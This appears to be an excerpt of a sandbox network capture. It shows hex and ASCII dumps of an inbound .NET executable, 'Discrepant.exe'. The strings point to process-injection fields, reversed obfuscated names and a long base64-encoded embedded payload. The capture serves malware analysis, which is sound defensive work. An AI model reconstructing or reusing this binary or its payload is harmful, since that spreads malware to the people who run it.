2021-11-09 21:22:01 UTC	1344	IN	Data Raw: 00 70 16 28 08 00 00 06 a2 73 1b 00 00 06 13 06 12 07 fe 15 21 00 00 02 12 10 fe 15 1b 00 00 02 12 10 20 1b 00 10 00 7d 15 00 00 04 11 10 13 08 17 8d 01 00 00 01 25 16 72 9a 00 00 70 16 28 08 00 00 06 a2 73 1b 00 00 06 13 09 02 7b 01 00 00 04 6f 51 00 00 06 25 13 12 39 09 00 00 00 11 12 8e 69 3a 09 00 00 00 16 e0 13 11 38 0b 00 00 00 11 12 16 8f 0d 00 00 01 e0 13 11 11 11 28 07 00 00 0a 13 05 11 11 0b 11 11 07 7b 19 00 00 04 e0 58 0c 14 13 12 07 7b 18 00 00 04 20 4d 5a 00 00 40 10 00 00 00 08 7b 1b 00 00 04 20 50 45 00 00 3b 02 00 00 00 16 2a 08 7c 1d 00 00 04 7b 1e 00 00 04 20 0b 01 00 00 3b 02 00 00 00 16 2a 02 7b 01 00 00 04 6f 51 00 00 06 20 98 03 00 00 18 9c 12 0a fe 15 22 00 00 02 12 0a 11 0a 8c 22 00 00 02 28 08 00 00 0a 7d 2a 00 00 04 12 0a 16 7d Data Ascii: p(s! }%rp(s{oQ%9i:8({X{ MZ@{ PE;\|{ ;{oQ ""(}*}
2021-11-09 21:22:01 UTC	1345	IN	Data Raw: 0b 1e 28 11 00 00 0a 38 12 00 00 00 11 15 17 58 13 15 11 15 20 43 69 08 00 3f c6 ff ff ff 11 06 72 33 05 00 70 16 28 08 00 00 06 6f 07 00 00 2b 11 07 7b 26 00 00 04 11 08 7b 16 00 00 04 6e 1e 6a 58 28 09 00 00 0a 11 0b 1a 7e 06 00 00 0a 6f 25 00 00 06 3a 6b 00 00 00 11 0b 28 12 00 00 0a 11 06 72 e0 01 00 70 16 28 08 00 00 06 6f 02 00 00 2b 11 07 7b 26 00 00 04 15 6f 29 00 00 06 39 40 00 00 00 11 06 72 87 02 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 26 00 00 04 6f 2d 00 00 06 26 11 06 72 87 02 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 27 00 00 04 6f 2d 00 00 06 26 16 2a 11 0b 28 12 00 00 0a 08 7c 1d 00 00 04 7b 1f 00 00 04 13 0f 12 08 11 0c 11 0f 6e 58 6d 7d 17 00 00 04 06 39 8a 00 00 00 11 06 72 38 07 00 70 16 28 08 00 00 06 6f 09 00 00 2b 11 Data Ascii: (8X Ci?r3p(o+{&{njX(~o%:k(rp(o+{&o)9@rp(o+{&o-&rp(o+{'o-&*(\|{nXm}9r8p(o+
2021-11-09 21:22:01 UTC	1346	IN	Data Raw: 00 13 00 1b 00 81 01 10 00 1a 01 2c 01 05 00 14 00 1f 00 02 01 00 00 44 01 00 00 09 00 15 00 20 00 02 01 00 00 67 01 00 00 09 00 15 00 24 00 02 01 00 00 72 01 00 00 09 00 15 00 28 00 02 01 00 00 86 01 00 00 09 00 15 00 2c 00 02 01 00 00 8a 01 00 00 09 00 15 00 30 00 02 01 00 00 9c 01 00 00 09 00 15 00 34 00 02 01 00 00 af 01 00 00 09 00 15 00 38 00 02 01 00 00 c5 01 00 00 09 00 15 00 3c 00 02 01 00 00 d9 01 00 00 09 00 15 00 40 00 02 01 00 00 e9 01 00 00 09 00 15 00 44 00 02 01 00 00 ee 01 00 00 09 00 15 00 48 00 02 01 00 00 0a 02 00 00 09 00 15 00 4c 00 11 01 10 00 13 02 05 01 0d 00 15 00 50 00 11 01 10 00 2f 02 05 01 0d 00 18 00 50 00 11 01 10 00 43 02 2a 00 0d 00 1a 00 50 00 11 01 10 00 56 02 2c 01 0d 00 1b 00 50 00 11 01 10 00 6b 02 2c 01 0d 00 1e 00 Data Ascii: ,D g$r(,048<@DHLP/PC*PV,Pk,
2021-11-09 21:22:01 UTC	1348	IN	Data Raw: 03 00 86 18 11 03 cc 00 4a 00 00 00 00 00 03 00 c6 01 60 03 8f 04 4c 00 00 00 00 00 03 00 c6 01 57 09 a5 04 59 00 00 00 00 00 03 00 c6 01 8e 09 c1 04 67 00 00 00 00 00 03 00 86 18 11 03 cc 00 6b 00 00 00 00 00 03 00 c6 01 60 03 d0 04 6d 00 00 00 00 00 03 00 c6 01 57 09 d8 04 70 00 00 00 00 00 03 00 c6 01 8e 09 62 04 74 00 00 00 00 00 03 00 86 18 11 03 cc 00 76 00 00 00 00 00 03 00 c6 01 60 03 d0 04 78 00 00 00 00 00 03 00 c6 01 57 09 d8 04 7b 00 00 00 00 00 03 00 c6 01 8e 09 62 04 7f 00 00 00 00 00 03 00 86 18 11 03 cc 00 81 00 00 00 00 00 03 00 c6 01 60 03 e6 04 83 00 00 00 00 00 03 00 c6 01 57 09 ec 04 85 00 00 00 00 00 03 00 c6 01 8e 09 f8 04 89 00 00 00 00 00 03 00 86 18 11 03 cc 00 8a 00 00 00 00 00 03 00 c6 01 60 03 ff 04 8c 00 00 00 00 00 03 00 c6 Data Ascii: J`LWYgk`mWpbtv`xW{b`W`
2021-11-09 21:22:01 UTC	1349	IN	Data Raw: 00 03 00 3c 0b 00 00 04 00 45 0b 00 00 05 00 50 0b 00 00 06 00 5f 0b 00 00 07 00 7e 09 00 00 08 00 87 09 00 00 01 00 30 0b 00 00 02 00 45 0b 00 00 03 00 98 09 00 00 01 00 ec 02 00 00 02 00 67 0b 00 20 01 00 02 0b 00 20 01 00 02 0b 00 00 02 00 7e 09 00 00 03 00 87 09 00 00 01 00 98 09 00 00 01 00 fd 08 00 00 02 00 6b 0b 00 00 01 00 7e 09 00 00 02 00 87 09 00 00 01 00 98 09 00 00 01 00 3e 09 00 00 02 00 13 0b 00 00 01 00 73 0b 00 00 02 00 78 0b 00 00 01 00 73 0b 00 00 02 00 78 0b 00 00 03 00 7e 09 00 00 04 00 87 09 00 00 01 00 98 09 00 00 01 00 fd 08 00 00 01 00 ec 02 31 00 11 03 b0 00 0c 00 11 03 cc 00 0c 00 60 03 d2 00 59 00 11 03 d7 00 09 00 11 03 d7 00 51 00 d8 03 10 01 51 00 dd 03 13 01 89 00 f1 03 19 01 51 00 dd 03 1e 01 91 00 19 04 28 01 51 00 2c 04 Data Ascii: <EP_~0Eg ~k~>sxsx~1`YQQQ(Q,
2021-11-09 21:22:01 UTC	1350	IN	Data Raw: 0e 00 17 00 0e 00 18 00 0e 00 19 00 0e 00 1a 00 0e 00 25 00 24 00 00 00 04 00 39 00 ee 08 38 00 23 01 38 00 32 01 38 00 37 01 38 00 41 01 38 00 46 01 38 00 4b 01 38 00 50 01 38 00 66 01 38 00 7e 01 38 00 83 01 38 00 4a 02 38 00 4f 02 00 44 69 73 63 72 65 70 61 6e 74 00 44 69 73 63 72 65 70 61 6e 74 2e 65 78 65 00 3c 4d 6f 64 75 6c 65 3e 00 53 74 61 74 65 00 44 69 73 63 72 65 70 61 6e 74 2e 41 6e 6e 6f 74 61 74 69 6f 6e 73 00 4f 62 6a 65 63 74 00 53 79 73 74 65 6d 00 6d 73 63 6f 72 6c 69 62 00 53 65 72 69 61 6c 69 7a 65 72 00 44 69 73 63 72 65 70 61 6e 74 2e 50 72 6f 64 75 63 65 72 73 00 3c 3e 63 5f 5f 44 69 73 70 6c 61 79 43 6c 61 73 73 32 5f 30 00 43 6f 6e 74 61 69 6e 65 72 00 44 69 73 63 72 65 70 61 6e 74 2e 43 6f 6d 6d 6f 6e 00 4f 62 73 65 72 76 65 72 Data Ascii: %$98#82878A8F8K8P8f8~88J8ODiscrepantDiscrepant.exe<Module>StateDiscrepant.AnnotationsObjectSystemmscorlibSerializerDiscrepant.Producers<>c__DisplayClass2_0ContainerDiscrepant.CommonObserver
2021-11-09 21:22:01 UTC	1352	IN	Data Raw: 61 74 65 00 72 65 66 65 72 65 6e 63 65 00 42 69 6e 64 65 72 00 4d 69 63 72 6f 73 6f 66 74 2e 43 53 68 61 72 70 2e 52 75 6e 74 69 6d 65 42 69 6e 64 65 72 00 4d 69 63 72 6f 73 6f 66 74 2e 43 53 68 61 72 70 00 43 6f 6e 76 65 72 74 00 43 61 6c 6c 53 69 74 65 42 69 6e 64 65 72 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 43 6f 6d 70 69 6c 65 72 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 43 6f 72 65 00 43 53 68 61 72 70 42 69 6e 64 65 72 46 6c 61 67 73 00 43 61 6c 6c 53 69 74 65 60 31 00 46 75 6e 63 60 33 00 43 61 6c 6c 53 69 74 65 00 43 72 65 61 74 65 00 54 61 72 67 65 74 00 54 6f 43 68 61 72 41 72 72 61 79 00 43 68 61 72 00 52 65 66 6c 65 63 74 53 74 61 74 65 00 67 65 74 5f 4c 65 6e 67 74 68 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 Data Ascii: atereferenceBinderMicrosoft.CSharp.RuntimeBinderMicrosoft.CSharpConvertCallSiteBinderSystem.Runtime.CompilerServicesSystem.CoreCSharpBinderFlagsCallSite`1Func`3CallSiteCreateTargetToCharArrayCharReflectStateget_LengthFromBase64CharArray
2021-11-09 21:22:01 UTC	1353	IN	Data Raw: 75 74 65 73 00 62 49 6e 68 65 72 69 74 48 61 6e 64 6c 65 73 00 64 77 43 72 65 61 74 69 6f 6e 46 6c 61 67 73 00 6c 70 45 6e 76 69 72 6f 6e 6d 65 6e 74 00 6c 70 43 75 72 72 65 6e 74 44 69 72 65 63 74 6f 72 79 00 6c 70 53 74 61 72 74 75 70 49 6e 66 6f 00 6c 70 50 72 6f 63 65 73 74 6e 65 6d 65 6c 45 73 74 75 6f 65 6d 69 54 74 73 6f 48 6e 6f 69 74 61 72 75 67 69 66 6e 6f 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 32 36 34 30 38 00 68 4e 65 77 54 6f 6b 65 6e 00 68 54 68 72 65 61 64 00 70 43 6f 6e 74 65 78 74 00 73 65 6c 65 63 74 69 6f 6e 00 63 75 73 74 00 50 72 6f 63 65 73 73 48 61 6e 64 6c 65 00 42 61 73 65 41 64 64 72 65 73 73 00 5a 65 72 6f 42 69 74 73 00 52 65 67 69 6f 6e 53 69 7a 65 00 41 6c 6c 6f 63 61 74 69 6f 6e 54 79 70 65 00 50 72 6f 74 Data Ascii: utesbInheritHandlesdwCreationFlagslpEnvironmentlpCurrentDirectorylpStartupInfolpProcestnemelEstuoemiTtsoHnoitarugifnoCledoMecivreSmetsyS26408hNewTokenhThreadpContextselectioncustProcessHandleBaseAddressZeroBitsRegionSizeAllocationTypeProt
2021-11-09 21:22:01 UTC	1354	IN	Data Raw: 70 00 63 00 54 00 78 00 65 00 4d 00 6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 43 00 6c 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 00 74 00 73 00 79 00 53 00 33 00 38 00 39 00 36 00 31 00 45 00 41 00 65 00 50 00 41 00 4d 00 31 00 41 00 7a 00 51 00 78 00 43 00 52 00 6f 00 47 00 50 00 46 00 38 00 6c 00 4c 00 6a 00 4e 00 71 00 41 00 53 00 51 00 38 00 49 00 78 00 63 00 70 00 45 00 67 00 67 00 72 00 41 00 41 00 49 00 6e 00 5a 00 31 00 41 00 3d 00 00 80 a5 4f 00 45 00 67 00 6e 00 69 00 64 00 6e 00 69 00 42 00 70 00 63 00 54 00 78 00 65 00 4d 00 6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 43 00 6c 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 Data Ascii: pcTxeMnoitarugifnoCledoMecivreSmetsyS38961EAePAM1AzQxCRoGPF8lLjNqASQ8IxcpEggrAAInZ1A=OEgnidniBpcTxeMnoitarugifnoCledoMecivreSm
2021-11-09 21:22:01 UTC	1356	IN	Data Raw: 3d 00 00 80 a5 50 00 45 00 67 00 6e 00 69 00 64 00 6e 00 69 00 42 00 70 00 63 00 54 00 78 00 65 00 4d 00 6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 43 00 6c 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 00 74 00 73 00 79 00 53 00 33 00 38 00 39 00 36 00 31 00 30 00 45 00 43 00 59 00 41 00 77 00 71 00 4f 00 53 00 45 00 2b 00 46 00 68 00 59 00 62 00 4e 00 46 00 39 00 4b 00 49 00 54 00 51 00 64 00 4f 00 32 00 55 00 38 00 4a 00 58 00 78 00 74 00 00 80 b5 4f 00 45 00 67 00 6e 00 69 00 64 00 6e 00 69 00 42 00 70 00 63 00 54 00 78 00 65 00 4d 00 6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 43 00 6c 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 Data Ascii: =PEgnidniBpcTxeMnoitarugifnoCledoMecivreSmetsyS389610ECYAwqOSE+FhYbNF9KITQdO2U8JXxtOEgnidniBpcTxeMnoitarugifnoCledoMecivreSme
2021-11-09 21:22:01 UTC	1357	IN	Data Raw: 70 00 6c 00 61 00 63 00 65 00 00 27 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 43 00 68 00 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 17 54 00 6f 00 43 00 68 00 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 0d 4c 00 65 00 6e 00 67 00 74 00 68 00 00 13 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 00 1b 6d 00 73 00 54 00 50 00 5a 00 6d 00 51 00 58 00 64 00 41 00 50 00 70 00 65 00 00 70 c6 16 27 95 d0 e0 41 99 8f 09 f7 e8 ee 39 d8 00 80 9e 2e 01 80 84 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 50 65 72 6d 69 73 73 69 6f 6e 73 2e 53 65 63 75 72 69 74 79 50 65 72 6d 69 73 73 69 6f 6e 41 74 74 72 69 62 75 74 65 2c 20 6d 73 63 6f 72 6c 69 62 2c 20 56 65 72 73 69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 Data Ascii: place'FromBase64CharArrayToCharArrayLengthGetStringmsTPZmQXdAPpep'A9.System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neu
2021-11-09 21:22:01 UTC	1358	IN	Data Raw: 1c 0e 20 03 02 10 11 80 88 10 11 80 84 12 80 b5 07 20 02 02 18 0f 11 6c 0d 20 04 12 80 b5 18 0f 11 6c 12 80 b9 1c 05 20 02 09 18 18 0b 20 04 12 80 b5 18 18 12 80 b9 1c 06 20 01 09 12 80 b5 0b 20 06 09 18 10 18 09 10 09 09 09 11 20 08 12 80 b5 18 10 18 09 10 09 09 09 12 80 b9 1c 0a 20 03 09 10 18 10 09 12 80 b5 04 20 01 09 18 03 20 00 18 09 20 02 12 80 b5 12 80 b9 1c 06 20 01 18 12 80 b5 02 06 09 02 06 07 03 06 11 74 03 06 11 7c 02 06 08 02 06 06 04 06 11 80 94 08 01 00 08 00 00 00 00 00 04 20 01 01 08 1e 01 00 01 00 54 02 16 57 72 61 70 4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 68 72 6f 77 73 01 08 01 00 02 00 00 00 00 00 06 20 01 01 11 80 c9 47 01 00 1a 2e 4e 45 54 46 72 61 6d 65 77 6f 72 6b 2c 56 65 72 73 69 6f 6e 3d 76 34 2e 30 01 00 54 0e 14 46 72 61 6d Data Ascii: l l t\| TWrapNonExceptionThrows G.NETFramework,Version=v4.0TFram
2021-11-09 21:22:01 UTC	1360	IN	Data Raw: 00 6e 00 64 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00 57 00 55 00 46 00 52 00 51 00 55 00 46 00 44 00 55 00 55 00 46 00 42 00 51 00 55 00 39 00 42 00 51 00 6b 00 46 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 4e 00 7a 00 61 00 6b 00 46 00 46 00 51 00 55 00 68 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 Data Ascii: ndFQUFBQUFBQUFBQUFBQUFDWUFRQUFDUUFBQU9BQkFBd0FBQUNzakFFQUhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
2021-11-09 21:22:01 UTC	1361	IN	Data Raw: 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 Data Ascii: UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ
2021-11-09 21:22:01 UTC	1362	IN	Data Raw: 00 4a 00 52 00 51 00 55 00 46 00 79 00 64 00 30 00 46 00 42 00 63 00 6b 00 34 00 77 00 51 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 4a 00 4c 00 51 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 48 00 65 00 6b 00 46 00 4b 00 51 00 55 00 35 00 72 00 51 00 Data Ascii: JRQUFyd0FBck4wQUFBTUFBQUJLQUFBR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHekFKQU5rQ
2021-11-09 21:22:01 UTC	1364	IN	Data Raw: 64 00 42 00 51 00 55 00 4a 00 44 00 61 00 6e 00 4a 00 42 00 51 00 55 00 46 00 48 00 53 00 33 00 64 00 33 00 55 00 6b 00 4a 00 49 00 64 00 6a 00 5a 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 39 00 76 00 51 00 55 00 46 00 42 00 57 00 56 00 52 00 43 00 61 00 45 00 56 00 48 00 53 00 30 00 4e 00 5a 00 51 00 55 00 46 00 42 00 62 00 7a 00 5a 00 4e 00 5a 00 30 00 56 00 42 00 51 00 55 00 4a 00 46 00 52 00 30 00 5a 00 74 00 4f 00 47 00 35 00 42 00 51 00 55 00 46 00 4c 00 52 00 58 00 64 00 6e 00 55 00 30 00 4e 00 44 00 5a 00 32 00 39 00 42 00 51 00 55 00 46 00 4c 00 59 00 6e 00 6c 00 72 00 51 00 55 00 46 00 42 00 62 00 31 00 4a 00 43 00 61 00 46 00 6c 00 59 00 59 00 6e 00 6c 00 76 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 4c 00 64 00 30 00 46 00 42 00 51 00 32 Data Ascii: dBQUJDanJBQUFHS3d3UkJIdjZBQUFFS09vQUFBWVRCaEVHS0NZQUFBbzZNZ0VBQUJFR0ZtOG5BQUFLRXdnU0NDZ29BQUFLYnlrQUFBb1JCaFlYYnlvQUFBb29Ld0FBQ2
2021-11-09 21:22:01 UTC	1365	IN	Data Raw: 00 69 00 59 00 6e 00 64 00 7a 00 51 00 55 00 46 00 42 00 63 00 6d 00 4e 00 43 00 4d 00 6a 00 68 00 4e 00 51 00 55 00 46 00 42 00 53 00 30 00 39 00 75 00 52 00 44 00 6b 00 76 00 4c 00 79 00 39 00 6c 00 51 00 32 00 64 00 6a 00 63 00 30 00 4a 00 6e 00 5a 00 48 00 5a 00 44 00 64 00 30 00 46 00 42 00 51 00 33 00 52 00 36 00 5a 00 55 00 46 00 35 00 59 00 6d 00 56 00 42 00 51 00 56 00 6c 00 78 00 51 00 55 00 46 00 42 00 51 00 56 00 46 00 58 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 45 00 51 00 30 00 46 00 42 00 51 00 55 00 46 00 35 00 55 00 55 00 56 00 42 00 51 00 55 00 6c 00 7a 00 51 00 30 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 55 00 46 00 42 00 52 00 48 00 64 00 42 00 51 00 55 00 46 00 52 00 53 00 55 00 46 00 42 00 51 00 55 00 Data Ascii: iYndzQUFBcmNCMjhNQUFBS09uRDkvLy9lQ2djc0JnZHZDd0FBQ3R6ZUF5YmVBQVlxQUFBQVFXUUFBQUFBQUFEQ0FBQUF5UUVBQUlzQ0FBQURBQUFBRHdBQUFRSUFBQU
2021-11-09 21:22:01 UTC	1366	IN	Data Raw: 44 00 61 00 54 00 42 00 4b 00 52 00 56 00 46 00 61 00 64 00 6c 00 4a 00 33 00 52 00 55 00 46 00 43 00 61 00 58 00 4e 00 47 00 59 00 32 00 6c 00 7a 00 51 00 30 00 46 00 49 00 51 00 6e 00 5a 00 54 00 51 00 55 00 56 00 42 00 51 00 6d 00 68 00 46 00 52 00 30 00 56 00 52 00 57 00 6e 00 5a 00 54 00 55 00 55 00 56 00 42 00 51 00 6d 00 6c 00 6e 00 4f 00 45 00 46 00 42 00 51 00 55 00 74 00 4d 00 55 00 57 00 74 00 53 00 51 00 6d 00 30 00 35 00 53 00 6b 00 46 00 52 00 51 00 55 00 64 00 4c 00 64 00 31 00 5a 00 35 00 53 00 33 00 64 00 4a 00 51 00 57 00 4e 00 48 00 4f 00 55 00 74 00 42 00 55 00 55 00 46 00 48 00 4d 00 30 00 4a 00 46 00 52 00 32 00 49 00 77 00 61 00 30 00 4a 00 42 00 51 00 56 00 70 00 35 00 53 00 33 00 64 00 4a 00 51 00 57 00 4e 00 44 00 5a 00 7a 00 6c Data Ascii: DaTBKRVFadlJ3RUFCaXNGY2lzQ0FIQnZTQUVBQmhFR0VRWnZTUUVBQmlnOEFBQUtMUWtSQm05SkFRQUdLd1Z5S3dJQWNHOUtBUUFHM0JFR2Iwa0JBQVp5S3dJQWNDZzl
2021-11-09 21:22:01 UTC	1368	IN	Data Raw: 00 51 00 55 00 64 00 46 00 55 00 57 00 4e 00 53 00 51 00 6b 00 4a 00 46 00 52 00 6b 00 68 00 76 00 4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 52 00 44 00 4b 00 30 00 46 00 42 00 51 00 55 00 56 00 4c 00 52 00 47 00 4e 00 42 00 51 00 55 00 46 00 77 00 65 00 6b 00 39 00 42 00 51 00 55 00 46 00 44 00 62 00 53 00 74 00 7a 00 51 00 55 00 46 00 42 00 52 00 32 00 4a 00 36 00 63 00 30 00 46 00 42 00 51 00 58 00 42 00 35 00 54 00 33 00 64 00 4a 00 51 00 57 00 4e 00 48 00 4f 00 55 00 46 00 42 00 51 00 55 00 46 00 4c 00 59 00 6e 00 70 00 42 00 51 00 6b 00 46 00 42 00 57 00 56 00 4a 00 43 00 65 00 45 00 56 00 46 00 52 00 56 00 46 00 56 00 59 00 57 00 70 00 57 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 73 00 4d 00 46 00 42 00 6e 00 51 00 55 00 46 00 Data Ascii: QUdFUWNSQkJFRkhvMWFBQUFCSmRDK0FBQUVLRGNBQUFwek9BQUFDbStzQUFBR2J6c0FBQXB5T3dJQWNHOUFBQUFLYnpBQkFBWVJCeEVFRVFVYWpWb0FBQUVsMFBnQUF
2021-11-09 21:22:01 UTC	1369	IN	Data Raw: 55 00 6b 00 4a 00 74 00 4f 00 55 00 5a 00 42 00 51 00 55 00 46 00 4c 00 52 00 56 00 46 00 56 00 57 00 46 00 64 00 43 00 54 00 55 00 5a 00 46 00 55 00 56 00 56 00 53 00 51 00 6b 00 63 00 72 00 63 00 55 00 46 00 42 00 51 00 55 00 64 00 51 00 65 00 6b 00 67 00 72 00 4c 00 79 00 38 00 76 00 5a 00 55 00 46 00 35 00 59 00 6d 00 56 00 42 00 54 00 6a 00 52 00 45 00 53 00 6e 00 51 00 30 00 51 00 55 00 4a 00 70 00 62 00 30 00 70 00 4c 00 61 00 30 00 5a 00 4e 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 68 00 5a 00 30 00 46 00 42 00 51 00 55 00 70 00 6e 00 51 00 6b 00 46 00 42 00 51 00 55 00 4e 00 42 00 5a 00 30 00 46 00 42 00 51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 42 00 51 00 55 00 46 00 42 Data Ascii: UkJtOUZBQUFLRVFVWFdCTUZFUVVSQkcrcUFBQUdQekgrLy8vZUF5YmVBTjRESnQ0QUJpb0pLa0ZNQUFBQUFBQUFhZ0FBQUpnQkFBQUNBZ0FBQXdBQUFBb0FBQUVBQUFB
2021-11-09 21:22:01 UTC	1370	IN	Data Raw: 00 6e 00 70 00 7a 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 48 00 64 00 30 00 56 00 42 00 51 00 6d 00 68 00 46 00 53 00 55 00 56 00 52 00 5a 00 48 00 5a 00 49 00 55 00 55 00 56 00 42 00 51 00 6d 00 68 00 46 00 53 00 55 00 56 00 33 00 59 00 6d 00 56 00 42 00 65 00 57 00 4a 00 6c 00 51 00 55 00 4a 00 46 00 52 00 30 00 78 00 42 00 5a 00 30 00 64 00 46 00 55 00 56 00 70 00 32 00 55 00 6e 00 64 00 42 00 51 00 55 00 4e 00 6f 00 52 00 55 00 5a 00 47 00 4d 00 57 00 64 00 55 00 51 00 6c 00 4a 00 46 00 52 00 6b 00 56 00 52 00 55 00 6e 00 5a 00 78 00 5a 00 30 00 46 00 42 00 51 00 6d 00 6f 00 34 00 63 00 69 00 38 00 76 00 4c 00 79 00 38 00 7a 00 5a 00 30 00 31 00 74 00 4d 00 32 00 64 00 45 00 5a 00 55 00 46 00 35 00 59 00 6d 00 56 00 42 00 51 00 56 00 6c 00 78 00 Data Ascii: npzQUFBcHZHd0VBQmhFSUVRZHZIUUVBQmhFSUV3YmVBeWJlQUJFR0xBZ0dFUVp2UndBQUNoRUZGMWdUQlJFRkVRUnZxZ0FBQmo4ci8vLy8zZ01tM2dEZUF5YmVBQVlx
2021-11-09 21:22:01 UTC	1372	IN	Data Raw: 6b 00 46 00 42 00 51 00 55 00 74 00 46 00 64 00 32 00 52 00 36 00 55 00 6b 00 46 00 46 00 51 00 55 00 4a 00 6f 00 54 00 55 00 6c 00 46 00 55 00 57 00 64 00 53 00 51 00 6b 00 4a 00 46 00 52 00 6b 00 68 00 33 00 65 00 55 00 35 00 58 00 5a 00 30 00 46 00 42 00 51 00 56 00 4e 00 59 00 55 00 58 00 42 00 6e 00 51 00 55 00 46 00 43 00 51 00 32 00 63 00 7a 00 51 00 55 00 46 00 42 00 53 00 32 00 4e 00 36 00 5a 00 30 00 46 00 42 00 51 00 58 00 42 00 32 00 63 00 6b 00 46 00 42 00 51 00 55 00 4a 00 74 00 4f 00 44 00 64 00 42 00 51 00 55 00 46 00 4c 00 59 00 6e 00 6f 00 77 00 51 00 6b 00 46 00 42 00 57 00 56 00 4a 00 44 00 51 00 6b 00 56 00 46 00 52 00 56 00 46 00 56 00 5a 00 6b 00 64 00 4a 00 4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 52 00 44 00 4d Data Ascii: kFBQUtFd2R6UkFFQUJoTUlFUWdSQkJFRkh3eU5XZ0FBQVNYUXBnQUFCQ2czQUFBS2N6Z0FBQXB2ckFBQUJtODdBQUFLYnowQkFBWVJDQkVFRVFVZkdJMWFBQUFCSmRDM
